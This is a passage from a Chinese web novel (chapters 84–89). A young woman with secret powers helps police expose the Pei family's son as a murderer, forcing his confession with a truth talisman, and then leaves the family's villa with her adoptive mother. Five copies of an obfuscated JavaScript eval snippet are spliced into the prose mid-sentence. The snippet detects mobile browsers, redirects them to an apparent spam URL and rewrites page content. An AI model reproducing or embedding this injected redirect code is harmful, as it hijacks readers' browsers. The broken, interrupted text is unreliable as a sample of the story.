说完,他转头看向鹿翎,语气虽然依旧严肃,“鹿小姐,麻烦你在这里稍等片刻,我们去去就回,在我们回来之前,还请你不要随意离开。” 鹿翎微微颔首,没有多说什么,心中已然猜到了几分缘由。 张警官和小李警官不敢耽误,整理了一下衣物,快步走出问询室,跟着年轻警员一路朝着三楼大会议室走去。 一路上,两人心中都忐忑不安,猜测着这位神秘领导的身份。 很快,两人便来到了三楼大会议室门口。 会议室的门紧闭着,门外站着两名身着便装、神情肃穆的男子,周身散发着生人勿近的气场,一看就不是普通人员。 第85章:配合鹿翎办案 看到张警官和小李警官到来,其中一名男子轻轻点头,示意他们可以进去。 两人深吸一口气,推开会议室的门走了进去。 会议室里宽敞明亮,陈设简洁,只有一张长长的会议桌。 主位上坐着一位中年男子,身着一身深色正装,面容沉稳,气质威严,眼神深邃,自带一股不怒自威的气场。 一看就是久居上位之人。 男子身旁坐着市局的王局长,平日里在局里说一不二的王局。 此刻坐在一旁,神情恭敬,丝毫不敢怠慢,足以见得主位上男子的身份之尊贵。 张警官和小李警官连忙走上前,恭敬地行礼:“王局好。” 王局长微微点头,随即看向主位上的中年男子,连忙介绍道:“陈老,这两位就是负责北郊公园命案的张警官和小李警官,全程跟进案件侦办,也是负责问询鹿小姐的办案人员。” 被称作陈老的中年男子缓缓抬眸,目光落在两人身上,眼神温和却带着一股不容抗拒的力量。 他轻轻抬手,示意两人坐下,语气平缓地说道:“不必拘谨,今天找你们过来,没有别的事,就是针对北郊公园这起命案,以及举报人鹿翎小姐的相关情况,跟你们交代几句。” 张警官和小李警官连忙坐下,坐姿端正,心中越发敬畏。 这位陈老,连王局都如此恭敬,显然是来头极大。 陈老没有绕弯子,直接开口,语气沉稳:“鹿翎小姐提供的线索,你们已经验证过,确实属实,帮助警方快速破获命案,告慰死者亡灵,这份功劳毋庸置疑。” “至于她所说的‘特殊方式’,你们不必再追问,也不必再质疑,更不要对外宣扬,按照正常命案流程办理,重点审讯裴耀阳、裴昊然两人,彻查裴家相关涉案人员,尽快完善证据链,将凶手绳之以法即可。” 张警官忍不住心中的疑惑,小心翼翼地开口问道:“陈老,可是鹿小姐的线索来源实在太过离奇,我们……” “我知道你们的顾虑。”陈老打断他的话,语气依旧平静,却带着不容置疑的权威,“有些事情,不属于你们的职责范畴,也没必要知晓太多,你们只需要记住,鹿翎小姐没有任何问题。” “她的话,可信度极高,后续办案过程中,不得再对她进行无端质疑与刁难,要全力配合她提供的线索,尽快办结案件,维**律公正,还死者一个公道。” 他没有详细说明所谓的“特殊方式”究竟是什么,也没有透露鹿翎的任何隐秘。 只是用极其笃定的语气,给鹿翎的身份与说辞做了担保。 话语间的深意,让张警官和小李警官瞬间恍然大悟。 他们从事刑侦工作多年,深谙职场与体制内的规则,陈老这番话,已经说得再明显不过。 鹿翎背后有特殊背景,她的特殊手段是被高层认可的,不容他们质疑,只需照做即可。 之前所有的疑惑、所有的不解,在这一刻全都有了答案。 难怪鹿翎年纪轻轻,能拿出警方都无法查到的精准线索,难怪高层会亲自下来过问,原来根源在此。 两人瞬间后背发凉,暗自庆幸刚才没有对鹿翎做出过分的举动。 若是刚才执意强行审讯,得罪了不该得罪的人,后果不堪设想。 张警官连忙站起身,恭敬地应道:“是,陈老,我们明白了,后续一定按照您的指示,全力侦办案件,不再追问鹿小姐的特殊方式,尽快将裴耀阳等人绳之以法。” 小李警官也连忙附和,神色满是恭敬。 之前对鹿翎的所有质疑,此刻全都烟消云散,只剩下满心的敬畏。 陈老微微颔首,语气缓和了几分:“嗯,这起命案性质恶劣,社会影响极坏,尽快办结,安抚民心,有任何问题,随时上报。你们下去吧。” “是,陈老,王局,我们告退。” 两人再次行礼,转身快步走出会议室,走出会议室的那一刻,两人都松了一口气,对视一眼,都看到了对方眼中的后怕与了然。 “没想到,竟然是这样……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554996|204421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小李警官低声感慨,心中满是唏嘘。 张警官沉声道:“别多问,也别多说,按照陈老的指示办,回去之后,立刻安排传讯裴昊然,重点搜查裴耀阳的住所和车辆,不要再纠结鹿小姐的事了,她不是我们能招惹的。” 两人快步走回问询室,推开门,看到鹿翎依旧安静地坐在原地,神色淡然,仿佛早已料到这一切。 这一次,张警官和小李警官的态度发生了翻天覆地的变化,没有了之前的审视与质疑,多了十足的尊重与客气。 张警官走到鹿翎面前,语气恭敬地说道:“鹿小姐,不好意思,让你久等了。刚才的事情,是我们考虑不周,多有冒犯,还请你见谅。” 小李警官也连忙说道:“没错,鹿小姐,我们已经清楚情况了,后续我们会立刻传讯裴昊然,搜查裴耀阳的相关场所,全力侦办案件,尽快将凶手绳之以法。感谢你提供的关键线索,为案件侦破立下了大功。” 鹿翎抬眸,淡淡扫过两人态度恭敬的模样,眼底没有多余情绪,只是平静开口:“案子尽快办结,让凶手伏法就好。” “应该的,应该的!”张警官连忙应声,语气里带着几分恳切,斟酌着开口,“鹿小姐,还有一事想麻烦您。” 鹿翎抬眼,眼神示意他说。 “我们已经办妥逮捕手续,准备立刻前往市中心医院抓捕裴昊然与裴耀阳。” “两人如今都在医院VIP病房,裴昊然重伤卧床,裴耀阳精神失常,担心现场会有突发状况,且部分案情细节还需您现场佐证。不知您是否方便,与我们一同前往?” 他说话时始终带着尊重,全然没有之前的强硬审视。 毕竟有陈老的交代,加上鹿翎提供的关键线索,警方心里清楚,这位鹿小姐绝不是普通民众。 有她在场,案件推进也会更顺利。 问询室内的空气凝滞了片刻。 鹿翎抬眸,清冷的目光扫过态度骤变的两位警官,淡淡开口:“配合办案是应该的,何时出发?” 第86章:压走裴家两个儿子 张警官心中一松,连忙回道:“现在就走,我们已经安排好车辆,裴昊然和裴耀阳都在市中心医院的VIP病房,两人分住不同楼层,裴昊然重伤未愈,裴耀阳精神失常,我们担心单独审讯会有阻碍,有你在场,也能更好地还原案情。” 鹿翎起身,理了理衣角,没有多余的话:“走吧。” 她步履从容地走出问询室,身姿挺拔,周身依旧是那副疏离淡漠的气场。 仿佛即将面对的不是穷凶极恶的裴家众人,而是再平常不过的小事。 张警官和小李警官紧随其后,全程恭敬有加,再无半分此前的质疑与审视,一路将鹿翎请上警车,直奔市中心医院。 警笛声一路呼啸,不过半小时,便稳稳停在市中心医院门口。 此时的医院,早已被裴家的人暗中布控,门口守着几个身形魁梧的保镖。 看到警车驶来,脸色瞬间一变,连忙拿出手机想要通报,却被随行警员厉声喝止,直接控制住。 “警方办案,无关人员避让,谁敢阻拦,依法处置!”张警官神色威严,一句话便镇住了场面,众人径直走进医院,搭乘专用电梯,直奔VIP病房区。 顶层VIP病区,向来是权贵专属,环境静谧,走廊铺着厚厚的地毯,连脚步声都被尽数吸收。 裴昊然住在西侧最豪华的单间病房,裴耀阳则在东侧的精神科特护病房,一墙之隔,却是截然不同的光景。 张警官与小李警官对视一眼,决定先从裴昊然入手。 毕竟他是兄长,心智清醒,若能突破他的心理防线,裴耀阳的罪行便能彻底坐实。 众人缓步走到病房门口,张警官轻轻推开房门,率先走了进去。 病房内宽敞明亮,陈设奢华,落地窗透进柔和的阳光。 裴昊然躺在宽大的病床上,浑身缠满雪白的绷带,只露出一张惨白憔悴的脸。 嘴唇干裂,双眼半睁半闭,看起来虚弱至极,仿佛随时都会断气。 床边围着裴天逸、杨丽华,还有刚赶来不久的裴老夫人,三人神色各异,气氛凝重。 杨丽华双眼红肿,脸上还挂着未干的泪痕,正拿着棉签,小心翼翼地给裴昊然润唇,嘴里不停念叨着: “昊然,你一定要快点好起来,妈一定不会让任何人伤害你,那些警察都是胡说的,你没犯罪,谁都不能把你怎么样。” 裴天逸站在窗边,眉头紧锁,指尖夹着一根未点燃的烟,脸色阴鸷,眼底满是焦虑与烦躁。 裴家如今已是风雨飘摇,股价暴跌,合作崩盘,银行催贷。 再加上儿子涉嫌**包庇,若是此事坐实,裴家几十年的基业,必将毁于一旦。 裴老夫人坐在床边的实木椅子上,她没有像杨丽华那般失态哭闹,只是静静看着病床上的孙子。 眼底深处藏着一丝狠厉,无论如何,她都要保住裴昊然,保住裴家的根基。 听到房门被推开,众人齐齐转头。 看到身着警服的张警官等人。 杨丽华瞬间炸毛,猛地站起身,挡在病床前,像一只护崽的母鸡,厉声呵斥:“你们来干什么?我儿子都伤成这样了,奄奄一息,你们还要来逼他,还有没有人性!” 张警官神色平静,拿出逮捕令与相关手续,沉声说道:“杨女士,我们依法对裴昊然进行审讯,他涉嫌包庇故意**罪,证据确凿,请你配合,不要妨碍公务。” “配合?我配合什么!”杨丽华尖声叫喊,情绪激动,“我儿子是被陷害的!是鹿翎那个妖女害他,你们不去抓那个**,反倒来欺负我重伤的儿子,我看你们是收了她的好处,是非不分!” 裴天逸也快步上前,脸色难看:“张警官,我儿子现在身体状况极差,根本无法接受审讯,若是出了什么意外,你们担得起责任吗?有什么事,等他康复了再说。” 裴老夫人缓缓抬眼,目光落在张警官身上,语气沉稳,带着不容置疑的压迫感:“警察同志,昊然重伤卧床,连起身都困难,如何接受审讯?若是逼出人命,你们警方怕是也不好交代。不如宽限几日,等他病情稳定,我亲自带他去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554997|204421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警局投案,绝不推诿。” 姜还是老的辣,裴老夫人这番话,既占了情理,又暗中施压,试图拖延时间,暗中运作此事。 张警官眉头微蹙,一时间有些为难。 裴昊然的伤势确实严重,若是强行审讯,真的出现意外,后果不堪设想。 就在他迟疑之际,鹿翎从警员身后走出,缓步走进病房,清冷的目光直直落在病床上的裴昊然身上。 看到鹿翎,杨丽华的眼睛瞬间红了,眼底的怨毒几乎要溢出来,如同疯虎一般,指着鹿翎破口大骂:“鹿翎!你这个**,你还有脸来这里!是不是你指使他们来的?我儿子要是有什么三长两短,我跟你同归于尽!” 鹿翎无视她的谩骂,目光始终停在裴昊然脸上,淡淡开口:“裴昊然,别装了,你清醒得很。” 病床上的裴昊然,身体几不可查地顿了一下,依旧闭着眼睛,呼吸故作平稳,假装昏迷,心底却早已慌成一团。 他能清晰地听到鹿翎的声音,能感受到那道冰冷的目光,如同利刃一般,直直刺穿他的伪装。 他心里清楚,自己绝不能承认,一旦松口,不仅自己要牢底坐穿,裴家也会彻底垮台。 所以哪怕面对铁证,他也要咬**是被陷害,绝不吐露半个字。 “鹿小姐,请注意你的言辞!”裴天逸厉声说道,“我儿子重伤昏迷,你怎能如此污蔑他?昊然向来乖巧,怎么可能做出包庇**的事,分明是你挟私报复,陷害裴家!” “乖巧?”鹿翎轻笑一声,语气里满是嘲讽,“纵容弟弟**,帮忙分尸抛尸,将一个花季少女**后埋在公园各处,让她死无全尸,魂魄不得安宁,这就是你口中的乖巧?” “你胡说八道!”裴天逸脸色骤变,厉声反驳,“无凭无据,你少在这里血口喷人!” “有没有证据,问他就知道了。”鹿翎看向裴昊然,声音清冷,“裴昊然,北郊公园,林小满,你敢说你不知情?裴耀阳失手**后,是你帮他处理尸体,销毁证据,你敢否认吗?” 第87章:裴家再无翻身可能 裴昊然依旧紧闭双眼,牙关紧咬,一言不发,全程装死,打算顽抗到底。 杨丽华见状,更是有恃无恐,哭闹得更凶:“大家快来看啊,这个女人欺负我们孤儿寡母,重伤的病人都不放过,颠倒黑白,陷害好人,还有没有王法了!” 她一边哭,一边偷偷看向裴老夫人,希望婆婆能出面,把鹿翎赶出去。 裴老夫人缓缓站起身,拄着拐杖,走到鹿翎面前,眼神威严,语气冰冷:“鹿小姐,凡事要讲证据,你空口白牙,就想给我孙子定死罪,未免太把自己当回事了。” “裴家在江州立足多年,不是你想污蔑就能污蔑的,你若是识相,现在就撤案,离开江州,裴家可以既往不咎,否则,别怪裴家对你不客气。” “既往不咎?”鹿翎抬眸,迎上裴老夫人的目光,眼神没有丝毫畏惧,反而愈发冰冷,“林小满被裴耀阳害死,被**抛尸,含冤地下这么久,你们裴家,有过一丝一毫的愧疚吗?你们纵容子孙作恶,包庇**,如今还想逍遥法外,谈何既往不咎?今日,裴昊然必须认罪,裴耀阳必须伏法,谁都拦不住。” “你!”裴老夫人气得浑身发抖,拐杖重重戳在地面,发出沉闷的声响,“好一个牙尖嘴利的丫头,我倒要看看,你今天能翻出什么浪来!没有证据,就算是天王老子来了,也定不了昊然的罪!” 病房内的气氛瞬间剑拔**张,张警官等人站在一旁,想要开口,却又忌惮裴家的势力。 更清楚裴昊然拒不认罪,没有口供,案件办理会难上加难。 鹿翎看着病床上死不悔改、全程装死的裴昊然,看着裴家众人蛮横护短、毫无愧疚的模样,眼底的最后一丝耐心彻底耗尽。 就在这时,杨丽华趁着众人不备,猛地朝着鹿翎扑了过去,双手伸出,长长的指甲直指鹿翎的脸颊,嘴里嘶吼着:“我杀了你这个**!让你胡说八道,让你害我儿子!” 她面目狰狞,速度极快,眼中满是恨意,恨不得将鹿翎毁容,发泄心中的怨毒。 裴天逸和裴老夫人站在一旁,非但没有阻拦,反倒默许了这一行为。 想要借着杨丽华的手,给鹿翎一个教训,让她知难而退。 随行警员想要上前阻拦,却已经来不及。 鹿翎眼神一冷,身形轻盈地向后一侧,轻松避开杨丽华的扑击。 杨丽华扑了个空,重心不稳,差点摔倒在地,更加恼羞成怒,转身再次朝着鹿翎冲来,双手胡乱挥舞,想要撕扯鹿翎的衣服。 鹿翎眸色渐冷,不再避让,抬手一挥,指尖飞快捻动,一道淡金色的符纸悄然凝聚于指尖。 符纹流转,蕴含着秘法的力量。 她动作极快,符纸如同流光一般,瞬间朝着病床上的裴昊然飞去,精准地贴在了他的眉心处。 金光一闪,瞬间没入裴昊然的额头。 原本还躺在床上装昏迷的裴昊然,身体猛地一颤。 如同被电流击中一般,双眼猛地睁开,眼神变得呆滞,嘴巴不受控制地张开,再也无法伪装,无法隐瞒。 “我说……我全都说……”裴昊然的声音沙哑干涩,带着痛苦与绝望,不再有丝毫的狡辩与伪装,“是我,是我帮裴耀阳处理的林小满的尸体……” 这突如其来的变故,让病房内的所有人都惊呆了。 杨丽华僵在原地,脸上的凶狠瞬间凝固,满眼都是不可置信,喃喃自语:“昊然,你……你胡说什么呢?别乱说话,妈知道你难受,你别吓妈……” 裴天逸浑身一震,如遭雷击,踉跄后退一步,脸色惨白如纸,嘴唇哆嗦着,一句话都说不出来。 他看着病床上失控的儿子,心底最后一丝侥幸彻底崩塌,他知道,裴家,彻底完了。 裴老夫人握着拐杖的手猛地一紧,指节泛白,眼神骤变,满是震惊与慌乱。 她怎么也没想到,鹿翎竟有如此手段,只是轻轻一挥,就让一直咬紧牙关的裴昊然松了口。 这等诡异的手段,让她心底升起一股深深的恐惧。 张警官和小李警官也是一脸错愕,随即反应过来,连忙拿出录音笔和笔记本,快速记录,生怕错过一个字。 裴昊然躺在床上,眼神空洞,被真言符控制,不受控制地将所有罪行一一吐露,声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554998|204421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音清晰地传遍整个病房: “是裴耀阳杀了林小满,他追求林小满不成,心生恨意,把人骗到北郊废弃公园,失手把人推到石头上,磕到后脑,当场就没了气息……” “我知道后,没有报警,反而想着帮他瞒下来,裴家不能出**犯,会毁了整个家族……” “我们找了地方,把林小满的尸体……肢解了,分成很多块,趁着深夜,埋在北郊公园的各个角落,就是为了不让人发现,让她永远都不能被找到……” “我知道我错了,我罪该万死,可我是大哥,我不能看着耀阳毁了,更不能看着裴家垮了……” “鹿翎找上门来,用天雷劈我,我扛不住,才说了实话,我以为我装死,就能混过去,我以为你们拿我没办法……” 他一字一句,将自己如何包庇裴耀阳、如何参与分尸抛尸、如何销毁证据的全过程。 原原本本、毫无保留地说了出来,语气里满是悔恨与绝望,听得在场众人毛骨悚然。 谁也没想到,平日里光鲜亮丽、温文尔雅的裴家大少,竟然能做出如此丧心病狂、泯灭人性的事。 分尸抛尸,手段残忍到令人发指。 杨丽华听完,双腿一软,直接瘫坐在地上,眼神呆滞,泪水汹涌而出,却再也哭不出声音,整个人彻底崩溃。 她一直以为儿子是被陷害的,一直以为鹿翎是胡说八道。 可如今,亲耳听到儿子认罪,听到如此残忍的真相,她的世界,彻底崩塌了。 裴天逸靠在墙边,面如死灰,双手无力地垂落,眼神空洞,再也没有了往日豪门总裁的威严与气场,只剩下无尽的绝望。 几十年打拼的基业,毁于一旦,子孙作恶,天理难容。 他知道,裴家,再也没有翻身的可能了。 裴老夫人站在原地,浑身微微颤抖,原本锐利的眼神变得黯淡无光,周身的威严荡然无存,整个人瞬间苍老了十几岁。 她一生好强,历经风雨,从未服输。 可如今,孙子犯下滔天罪行,证据确凿,无可辩驳。 裴家声誉,毁于一旦,她再也无力回天。 第88章:她妈来了 她看着病床上认罪的裴昊然,眼底满是悲凉与痛心,缓缓闭上双眼,两行浑浊的泪水滑落,口中喃喃自语:“造孽啊...真是造孽啊...裴家,终究是毁在了你们手里...” 鹿翎站在原地,神色淡漠,没有丝毫的怜悯。 这是裴家应得的报应,是裴昊然、裴耀阳罪有应得。 林小满含冤许久,终于等到了这份迟来的公道,她的在天之灵,终于可以安息了。 张警官回过神来,神色严肃,对着随行警员说道:“立即控制裴昊然,安排医护人员随行,带回警局审讯!另外,立刻前往东侧特护病房,抓捕裴耀阳,彻查此案相关涉案人员,一个都不能放过!” “是!”警员们齐声应道,立刻上前,拿出**,想要给裴昊然戴上。 杨丽华见状,猛地回过神,疯了一样扑上去,想要阻拦:“不要抓我儿子!他都伤成这样了,求你们放过他,我替他坐牢,我替他赎罪!” “杨女士,你涉嫌包庇**,一并带回警局调查!”张警官冷声说道,警员立刻上前,将失控的杨丽华控制住。 裴天逸看着眼前的一切,面如死灰,没有丝毫反抗,缓缓伸出双手,示意警员给他戴上**:“我教子无方,纵容子女作恶,我愿意承担一切责任,跟你们走。” 很快,东侧病房的裴耀阳也被警员控制。 他精神失常,嘴里不停念叨着“别杀我”“我错了”,状若疯癫,却依旧无法逃脱法律的制裁。 鹿翎看着被警员一一带走的裴家人,看着空荡荡的病房,眼底没有丝毫波澜。 警员们押着戴着**的裴昊然、裴耀阳,一步步走出病房,沿着走廊往电梯口走去。 裴老夫人被佣人搀扶着,脚步虚浮,每走一步都像是耗尽了全身力气。 浑浊的目光死死盯着前方鹿翎的背影,满是怨毒与不甘,却再也没了半分呵斥的底气。 病房里的闹剧落幕,整层楼的病患家属都探头探脑,对着被押走的裴家人指指点点,议论声此起彼伏。 曾经在江州呼风唤雨的裴家,如今落得这般狼狈境地,着实令人唏嘘。 更多人却是拍手称快,毕竟裴家平日里仗势欺人,本就积怨不少。 鹿翎跟在警员身后,神色始终淡漠,也没有半分怜悯,只是平静地看着裴家众人被押解的身影。 一行人很快抵达医院一楼大厅,穿过熙熙攘攘的人群,朝着医院大门外的警车走去。 阳光刺眼,裴昊然被病痛和真言符的余效折磨得有气无力,脑袋垂在胸前。 裴耀阳依旧疯疯癫癫,嘴里反复念叨着求饶的话,引得路人纷纷侧目,拿出手机偷偷拍摄。 杨丽华跟在身后,看着身边两个锒铛入狱的儿子,看着彻底垮掉的裴家,积压在心底的绝望、愤怒与疯狂瞬间冲破了理智。 她像一头发疯的母兽,双眼赤红,面目狰狞,嘶吼着朝着不远处的鹿翎扑了过去:“鹿翎!我杀了你!是你毁了我的儿子,毁了我们裴家,我跟你拼了!” 她披头散发,妆容尽毁,全然没了往日豪门太太的优雅体面。 双手张牙舞爪,恨不得立刻将鹿翎撕碎,以此发泄心中所有的怨毒。 周围的警员反应不及,一时竟没能立刻拦住她,眼看她就要冲到鹿翎面前,尖厉的指甲几乎要碰到鹿翎的衣袖。 就在这千钧一发之际,一道利落的身影猛地从人群外冲了进来。 速度快得惊人,径直挡在了鹿翎身前,伸手狠狠一推,直接将扑过来的杨丽华推得踉跄后退,重重摔在地上。 “就你也配动我女儿?” 清脆又带着十足霸气的声音响起,余锦诗站在鹿翎身前,身姿挺拔,眉眼间满是护犊的凌厉。 前不久打了电话,问鹿翎情况怎么样,虽然她口中说没事,但身为母亲,还是很担心。 连忙从外地赶了回来,得到消息,说在医院配合警察办案。 刚到医院楼下,就看到杨丽华发疯要伤害鹿翎的一幕,当即怒火中烧。 鹿翎看着身前熟悉的背影,心头一暖,原本冰冷的眼神瞬间柔和下来,轻声喊了一句:“妈。” 余锦诗回头,快速打量了鹿翎一圈,见她毫发无损,这才松了口气。 随即转头看向地上的杨丽华,眼神冷冽如冰。 她快步上前,不等杨丽华从地上爬起来,扬起手,“啪”的一声脆响,一记响亮的耳光狠狠甩在了杨丽华脸上。 这一巴掌力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554999|204421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道十足,杨丽华被打得偏过头去,嘴角瞬间溢出一丝血迹,半边脸颊以肉眼可见的速度红肿起来。 整个人都被打懵了,愣在原地忘了反应。 “我告诉你杨丽华,”余锦诗收回手,眼神轻蔑地睨着她,语气满是不屑与愤怒,“我女儿安分守己,替冤死的女孩讨公道,何错之有?是你儿子作恶多端,**分尸,泯灭人性,裴家落得今天这个下场,是你们罪有应得!” “你自己教不好儿子,纵容他们作恶,如今事情败露,不去反思自家的错,反倒来找我女儿撒野,我看你是疯魔了!” 余锦诗越说越气,指着杨丽华厉声呵斥,“之前在酒店门口你就出言不逊,看不起我们乡下出身,现在我告诉你,乡下人教出来的女儿,比你这豪门太太养的孽种干净一万倍!” “今天我就把话撂在这,以后你再敢动我女儿一根手指头,我余锦诗绝对饶不了你,别说掀了你裴家别墅,就算是拼了命,也让你付出代价!” 周围的路人见状,纷纷叫好,本就对裴家的恶行嗤之以鼻。 如今看到杨丽华被教训,只觉得大快人心。 警员们也没有阻拦,毕竟是杨丽华先动手伤人,余锦诗此举实属正当护女,况且裴家众人本就是**,根本无人同情。 杨丽华捂着火辣辣的脸颊,看着气场全开的余锦诗。 又看了看被护在身后、眼神淡漠的鹿翎,心中又恨又怕,却再也不敢有丝毫反扑的举动。 她深知自己如今已是阶下囚,根本无力反抗,只能趴在地上,发出绝望又憋屈的呜咽声。 裴天逸看着这一幕,闭上双眼,满脸颓然,再也没有任何辩解的力气。 裴老夫人被佣人扶着,浑身颤抖,却连一句反驳的话都说不出来。 毕竟理亏在先,自家子孙作恶在先,所有的苦难,都是裴家应得的报应。 警车鸣着警笛驶离医院,围观人群渐渐散去。 余锦诗伸手揽住鹿翎的肩膀,动作自然又亲密,语气带着心疼,“好了,都结束了,别想这些糟心事。” “你在裴家住了这么些日子,眼看就要开学了,咱们要把东西从别墅里收拾好,以后再也不跟这家人扯上关系。” 第89章:好歹姐妹一场 鹿翎点点头,没有多余的情绪。 她本就对裴家毫无归属感。 如今裴家大势已去,那栋华丽的别墅,对她而言不过是个毫无温度的临时住所,早该离开。 余锦诗见状,抬手拦了辆出租车,禁止往别墅方向赶去。 一路无话,出租车很快停在别墅门口。 保安本想拦住,但看见来人是鹿翎,又立马退回保安亭内。 出租车一路开向裴家别墅门口。 下车,余锦诗就让司机在这等一下他们收拾完东西马上出来。 出租车司机也没多说什么,反正余锦诗是要拿钱的,多等一会也没事。 余锦诗牵着鹿翎的手,院子里没有佣人了。 刚踏进院子,就有不少佣人拖着行李箱离开别墅。 应该是听说裴家大势已去,纷纷跑路的,就连平时待裴淼淼如亲女的张婶,此刻也在跑路人群中。 鹿翎伸手推开房门,裴淼淼瘫坐在地,头发凌乱,眼底布满血丝。 听见推门的声音,她几乎是条件反射地扬起脸,嘴角本能地扯出一抹柔弱又讨好的笑。 本以为是裴家其他人回来告诉她,裴家已经渡过难关,或者是找到了能帮助他们的贵人。 可当视线落在鹿翎身上后,那么勉强的笑瞬间僵在脸上,肌肉抽搐了两下,紧接着便彻底垮了下来,眼皮耷拉着。 脸上没了往日的柔弱乖巧,看向鹿翎的眼神,只剩下怨毒和憎恨。 她怨毒鹿翎为什么要回来? 回来就算了,为什么一回来就要抢她大小姐的名头。 抢走爸爸对她的爱。 抢走这些就算,把裴家搞垮算怎么个事? 她从高高在上的裴家大小姐,一夜之间沦为丧家之犬,别说往日的名牌包包,精致礼服。 就连即将开学的大学,学费都凑不出来,更别说家里还有一位大学生。 曾经唾手可得的光鲜生活,如今成了遥不可及的梦。 面对这个搞垮她精神支柱的人,再也装不下去往日的乖巧,眼底只剩下淬了毒的恨意。 “鹿翎!”裴淼淼猛地从地上爬起来,撞落疯癫地朝着鹿翎冲过去,双手张牙舞爪,想要扑上去撕扯鹿翎的衣服。 “是你!都是你害的,你为什么要回来?为什么要毁了我!毁了裴家,我做鬼都不会放过你。” 余锦诗眼疾手快,立刻将鹿翎护在身后,眼神冷厉地看向裴淼淼。 鹿翎神情平静无波,眼神淡漠地看着眼前疯癫的裴淼淼,仿佛在看一个无关紧要的陌生人。 听到裴淼淼刚才的话,她嗤笑一声,“做鬼都不会放过我?像你这种表里不一的人,死后是要下十八层地狱的。” 裴淼淼被鹿翎这番话刺得浑身一僵,脸上的疯癫多了几分色厉内荏。 她本就心虚,被鹿翎一眼戳穿骨子里的虚伪,一时间竟忘了哭闹,只是死死瞪着他胸口剧烈起伏,却半个字都骂不出来。 余锦诗将鹿翎护得更紧,看下裴淼淼的眼神满是鄙夷和冷意,厉声开口,“裴淼淼事到如今你还不知悔改,别以为我不知道,上次是你挑拨你弟弟那群人,把小五推下酒店,这笔账我还没给你算!” “你口口声声说小五毁了你的生活,可你有没有想过,若不是你就占雀巢,小五本该在他亲生父母身边娇生惯养,拥有本该属于她的一切,而不是跟着我们在乡下过苦日子。” 其实也不是苦日子。 鹿翎在心里默默地想。 这番话如同利刃,狠狠扎进裴淼淼的心口,她脸色瞬间惨白如纸,踉跄着后退几步。 余锦诗不再和她多言,侧头,小声对鹿翎说道:“你去收拾东西吧,妈妈在下面等你。” 鹿翎点点头,和裴淼淼擦肩而过。 裴淼淼僵在原地,眼睁睁看着她走上楼梯,指甲死死扣进掌心,渗出血丝也浑然不觉。 嫉妒、不甘、怨恨交织在一起,几乎要将她整个人吞噬。 她到最后都不觉得自己有错。 她只是想要原本安稳光鲜的人生,只是不想从云端跌入泥潭。 凭什么鹿翎一回来,就要夺走她十几年的人生。 楼上房间空荡荡的,鹿翎的东西少得可怜。 她把行李箱拖出来,将所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555000|204421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西一股脑塞了进去。 不过几分钟的时间,东西全部整理好。 楼下,余锦诗站着,冷冷盯着失魂落魄的裴淼淼,没有再多一句指责。 多说无益,本性难改,这种人这辈子都不会明白什么叫做因果报应。 鹿翎提箱子下了楼。 裴淼淼猛然抬起头,声音嘶哑绝望,“鹿翎,你真要赶尽杀绝,我们好歹姐妹一场...” 鹿翎脚步未停,淡淡看了他一眼,语气平淡,“你我从不是姐妹,无论我有没有被我妈捡回去,在血缘上,我们都不是姐妹。” “对于我来说,如果你真的是我的妹妹,那我也只会感到恶心。” 说完,她再也没有多看裴淼淼一眼,和余锦诗离开这里。 大门重重合上,隔绝了屋内所有光线。 